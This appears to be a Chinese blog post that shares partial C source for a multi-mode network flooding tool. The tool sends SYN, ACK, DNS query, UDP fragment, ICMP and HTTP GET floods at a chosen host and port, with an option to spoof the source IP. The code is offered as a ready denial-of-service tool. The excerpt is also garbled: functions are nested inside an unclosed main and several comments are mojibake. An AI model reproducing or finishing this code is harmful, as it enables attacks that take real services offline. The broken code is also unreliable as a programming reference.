不废话,直接上代码,
先看截图use pictures;
2.source code
部分主要代码
void help_length(void)
{
printf("\n This is not the correct format about option \" -l \".\n"
" format: \" :<number> | <number>: | <number_1>:<number_2> \"\n\n");
exit (1);
}
static unsigned short inline checksum(unsigned short *buffer,int size);
unsigned int inline check_sum(char *proto,unsigned long saddr, unsigned long daddr, unsigned short *buffer, int size);
unsigned short proto_data_len=0;
char * get_rand_str(char * __proto_char,unsigned short __proto_char_len,\
char * __proto_str,int str_len);
char * get_rand_dn (char *__str_str,int len);
void send_tcp (int sockfd,struct sockaddr_in *addr,char *mode);
void send_udp (int sockfd,struct sockaddr_in *addr);
void send_icmp (int sockfd,struct sockaddr_in *addr);
void send_udp_frag (int sockfd,struct sockaddr_in *addr);
void send_dns_query_flood (int sockfd,struct sockaddr_in *addr);
void build_dns_querybuf (char *name_str);
void build_dns_querybuf_random (char *_str_one,char *_str_second,char *_str_suffix,char *_str_str);
void send_get_flood(int sockfd,char *uri,int send_count);
void send_synclink (int sockfd,struct sockaddr_in *addr);
void send_packets_delay();
void sig_int (int sigo);
//static void *pthread_func(void *vptr_args);
fd_set rset,drset;
struct protocol_fake_header {
unsigned long saddr;
unsigned long daddr;
char mbz;
char proto;
unsigned short header_len;
};
struct icmphdr {
char type;
char code;
unsigned short checksum;
unsigned short id;
unsigned short seq;
};
struct dnshdr_prefix {
unsigned short id; /* random() */
unsigned short flags; /* 0x0100 */
unsigned short questions; /* 0x0001 */
unsigned short answers; /* 0x0000 */
unsigned short author; /* 0x0000 */
unsigned short addition; /* 0x0000 */
};
struct dnshdr_suffix {
unsigned short int type; /* 0x0001 */
unsigned short int class; /* 0x0001 */
};
int i = 0;
int a = 0;
int port;
int count=0;
int nw;
int n=0;
int gsockfd[MAX_SOCKFD];
unsigned int send_get_number=0;
unsigned short hostname_len;
unsigned short iph_len;
unsigned short tcph_len;
unsigned short udph_len;
unsigned short icmph_len;
unsigned short dnsh_prefix_len;
unsigned short dnsh_center_len;
unsigned short dnsh_len;
unsigned short data_len=0;
unsigned short pkg_len; /* length of iphdr + udphdr + dnshdr + querybuf + suffix(4) */
unsigned long packet_delay=0;
char number ;
char * QueryBuf;
unsigned len_a=0,len_b;
char _domain_name_char[]="0123456789abcdefghijklmnopqrstuvwxyz";
char * p_str; /* used by Fun build_dns_querybuf */
char * dn_suffix[]={"null","com","cn","net","org","gov","cc","biz"};
char p_str_center[256];
unsigned dn_suffix_tnum=6;
unsigned short dn_suffix_num;
char dn_suffix_len;
unsigned long sum=0;
unsigned long int send_count=0;
char PRINT_MODE[20]="SYN Flood"; /* 鏄剧ず鏇翠负鐞嗚В鐨勬敾鍑荤被鍨?鐢ㄥ湪绋嬪簭杩愯鏃舵樉绀?*/
char *pbuf;
char datasize[60];
char *pds; /* used by datasize */
unsigned short int data_size_max=0;
unsigned short int data_size_min=0;
unsigned short int tcp_syn_data_size_max=TCP_SYN_DATA_SIZE_MAX;
unsigned short int tcp_syn_data_size_min=TCP_SYN_DATA_SIZE_MIN;
unsigned short int udp_data_size_max;
unsigned short int udp_data_size_min;
unsigned short int icmp_data_size_max=ICMP_DATA_SIZE_MAX;
unsigned short int icmp_data_size_min=ICMP_DATA_SIZE_MIN;
int sockfd;
int dn;
int i,ii;
int _proto_char_len;
char proto_data[1460]="rand";
char buffer[1501]; /* store data from gsockfd[i] (server ) */
char buf[20];
int buf_len;
char ipdata[20];
char srcip[20];
char domainname[50];
char hostname[50];
char hostport[8];
char uri[1024]=URI;
char mode[8]=MODE;
char http_head_get[1024]=HTTP_HEAD_GET;
struct sockaddr_in to;
struct hostent *host;
struct timeval tv,pdelay;
struct timeval pstart,pend;
unsigned long int pdelay_sec=0,pdelay_usec=0;
float timeuse;
struct iphdr *iph;
struct udphdr *udph;
struct dnshdr_prefix *dnsh_prefix;
struct dnshdr_suffix *dnsh_suffix;
/* ============= Main Function ========= */
int main(int argc,char **argv)
{
if(argc!=3 && argc!=5 && argc!=7 && argc!=9 && argc!=11 && argc != 13 && argc != 15)
help();
int on=1;
bzero(ipdata,20);
bzero(srcip,20);
bzero(&to,sizeof(to));
int cn;
while((cn=getopt(argc,argv,"c:m:h:p:S:s:u:l:d:"))!=EOF)
{
switch(cn)
{
case 'm':
strcpy(mode,optarg);
if(strcmp((mode),"syn")==0) {
strcpy(PRINT_MODE,"SYN Flood");
break;
}
if(strcmp((mode),"asyn")==0) {
strcpy(PRINT_MODE,"SYN+ACK Flood");
break;
}
if(strcmp((mode),"dsyn")==0) {
strcpy(PRINT_MODE,"SYN+data Flood");
break;
}
if(strcmp((mode),"dns")==0) {
strcpy(PRINT_MODE,"DNS Query Flood");
break;
}
if(strcmp((mode),"udp")==0) {
strcpy(PRINT_MODE,"UDP Flood");
break;
}
if(strcmp((mode),"icmp")==0) {
strcpy(PRINT_MODE,"ICMP ECHO Flood");
break;
}
if(strcmp((mode),"ufrag")==0) {
strcpy(PRINT_MODE,"UDP Frag Flood");
break;
}
if(strcmp((mode),"ack")==0) {
strcpy(PRINT_MODE,"TCP ACK Flood");
break;
}
if(strcmp((mode),"pack")==0) {
strcpy(PRINT_MODE,"TCP PSH ACK Flood");
break;
}
if(strcmp((mode),"rack")==0) {
strcpy(PRINT_MODE,"TCP RST ACK Flood");
break;
}
if(strcmp((mode),"fack")==0) {
strcpy(PRINT_MODE,"TCP FIN ACK Flood");
break;
}
if(strcmp((mode),"gack")==0) {
strcpy(PRINT_MODE,"HTTP GET ACK Flood");
break;
}
if(strcmp((mode),"gfld")==0) {
strcpy(PRINT_MODE,"HTTP GET Flood");
break;
}
if(strcmp((mode),"synclink")==0) {
strcpy(PRINT_MODE,"Sync Link test");
break;
}
else
help();
break;
case 'h':
strcpy(hostname,optarg);
hostname_len=strlen(hostname);
if(isdigit(hostname[hostname_len-1])) {
to.sin_addr.s_addr=inet_addr(hostname);
strcpy(ipdata,hostname);
}
else if((host=gethostbyname(hostname))==NULL) {
printf(" resolv ip failed.\n");
exit(1);
}
else {
inet_ntop(AF_INET,host->h_addr_list[0],ipdata,sizeof(ipdata));
to.sin_addr.s_addr=inet_addr(ipdata);
}
break;
case 'p':
strcpy(hostport,optarg);
break;
case 'S':
strcpy(srcip,optarg);
break;
case 'c':
send_count=atoi(optarg);
break;
case 'u':
strcpy(uri,optarg);
break;
case 's':
strncpy(proto_data,optarg,strlen(optarg));
break;
case 'd':
strcpy(buf,optarg);
buf_len=strlen(buf);
if(buf[buf_len-2]=='m' && buf[buf_len-1]=='s') {
buf[buf_len-2]=0;
pdelay_sec=0;
pdelay_usec=(long int)atoi(buf);
}
else if(buf[buf_len-1]=='s') {
buf[buf_len-1]=0;
pdelay_sec=atoi(buf);
pdelay_usec=0;
}
else if(isdigit(buf[buf_len-1])) {
pdelay_sec=0;
pdelay_usec=(long int)atoi(buf);
}
else {printf(" enter time error.\n");exit(1);}
break;
case 'l':
strcpy(datasize,optarg);
if( (48 <= datasize[0] && datasize[0] <=58) && (48 <= datasize[strlen(datasize)-1] && datasize[strlen(datasize)-1]<= 58) )
if( datasize[0]==':' ) { /* :20 */
pds=strtok(datasize,":");
if(pds !=NULL) { data_size_min=DATA_SIZE_MIN; data_size_max=atoi(pds); }
else help_length();
}
else if( datasize[strlen(datasize)-1] == ':' ) { /* 4: */
pds=strtok(datasize,":");
if(pds != NULL) { data_size_min=atoi(pds); data_size_max=DATA_SIZE_MAX;}
else help_length();
}
else { /* 5:9 */
pds=strtok(datasize,":");
if(pds != NULL) data_size_min=atoi(pds);
pds=strtok(NULL,":");
if(pds != NULL) data_size_max=atoi(pds);
}
else {
}
if( data_size_max == 0) data_size_max=data_size_min;
if( data_size_max<data_size_min)
{
printf(" data_size_min(100) > data_size_max(%d) !!!\n",data_size_max);
exit (1);
}
if( data_size_max>1460)
{
printf(" data_size_max is 1460 !\n");
exit (1);
}
break;
default:
help();
break;
}
}
if (data_size_min == 0 && data_size_max == 0)
{
data_size_min=DATA_SIZE_MIN;
data_size_max=DATA_SIZE_MAX;
}
// printf(" datasize min=%d max=%d\n",data_size_min,data_size_max);
/* 寰楀埌闅忔満鐨勫煙鍚嶅瓧绗?*/
char * get_rand_dn (char *___str_str,int str_len)
{
int len=strlen(_domain_name_char);
for (ii=0;ii<str_len;ii++){
___str_str[ii]=_domain_name_char[rand()%(len-1)+1];
}
// printf (" over for \n");
return ___str_str;
}
void send_packets_delay( )
{
pdelay.tv_sec=pdelay_sec;
pdelay.tv_usec=pdelay_usec;
#ifdef DEBUG
printf(" pdelay.sec=%ld\n",pdelay.tv_sec);
printf(" pdelay.usec=%ld\n",pdelay.tv_usec);
#endif
FD_ZERO(&drset);
FD_SET(sockfd,&drset);
select(sockfd+1,NULL,NULL,NULL,&pdelay);
}
/* ============ Pthread Function =========== */
/* static void *pthread_func(void *vptr_args)
{
printf(" enter pthread[]\n");
int sockfd;
fd_set rset;
if((sockfd=socket(AF_INET,SOCK_STREAM,0))<0){
printf(" create sockfd error from pthread_fun.\n");
pthread_exit("Thank you for the CPU time");
}
a=connect(sockfd,(struct sockaddr *)&to,sizeof(to));
if(a==0)
{
write(sockfd,http_head_get,strlen(http_head_get));
printf(" send get request to server .\n");
select
tv.tv_sec=0;
tv.tv_usec=5;
FD_ZERO(&rset);
FD_SET(sockfd,&rset);
select(sockfd+1,&rset,NULL,NULL,&tv);
while (1)
{
nw++;
if(FD_ISSET(sockfd,&rset)) {
printf(" enter while\n");
n=read(sockfd,buffer,1500);
printf(" read data ....");
if(n==0) {
printf(" Accept fin and close sockfd[]\n");
close(sockfd);
FD_CLR(sockfd,&rset);
break;
}
if(n<0) {
printf(" Accept rst and close sockfd[]\n");
close(sockfd);
FD_CLR(sockfd,&rset);
break;
}
else
printf("read data\n");
*/
// } /* end of if(FD_ */
/* else
printf(" not can be read \n");
} */ /* end of while */
// } /* end of if(a==0) */
/* else
{
printf(" connect_status:%d errno=%d close_sockfd[]\n\n",a,errno);
close(sockfd);
}
send_get_number++;
return 0;
}
*/
/* =============== check sum function =============== */
static unsigned short inline checksum(unsigned short *buffer,int size){
unsigned long cksum = 0;
while(size>1){
cksum += *buffer++;
size -= sizeof(unsigned short);
}
if(size){
cksum += *(unsigned char *)buffer;
}
cksum = (cksum >> 16) + (cksum & 0xffff);
cksum += (cksum >> 16);
return((unsigned short )(~cksum));
}
unsigned int inline check_sum(char *proto,unsigned long saddr, unsigned long daddr, unsigned short *buffer, int size)
{
char *buf;
struct protocol_fake_header *pfh;
int pfh_len = sizeof(struct protocol_fake_header);
buf = (char *)malloc(pfh_len+size);
pfh = (struct protocol_fake_header *)buf;
memcpy(buf+pfh_len,buffer,size);
pfh->saddr = saddr;
pfh->daddr = daddr;
pfh->mbz = 0;
if(strcmp(proto,"tcp")==0) {
pfh->proto = IPPROTO_TCP;
pfh->header_len = htons(tcph_len);
}
if(strcmp(proto,"udp")==0) {
pfh->proto = IPPROTO_UDP;
pfh->header_len = htons(udph_len);
}
sum = checksum((unsigned short*)buf,pfh_len+size);
free(buf);
return (sum);
}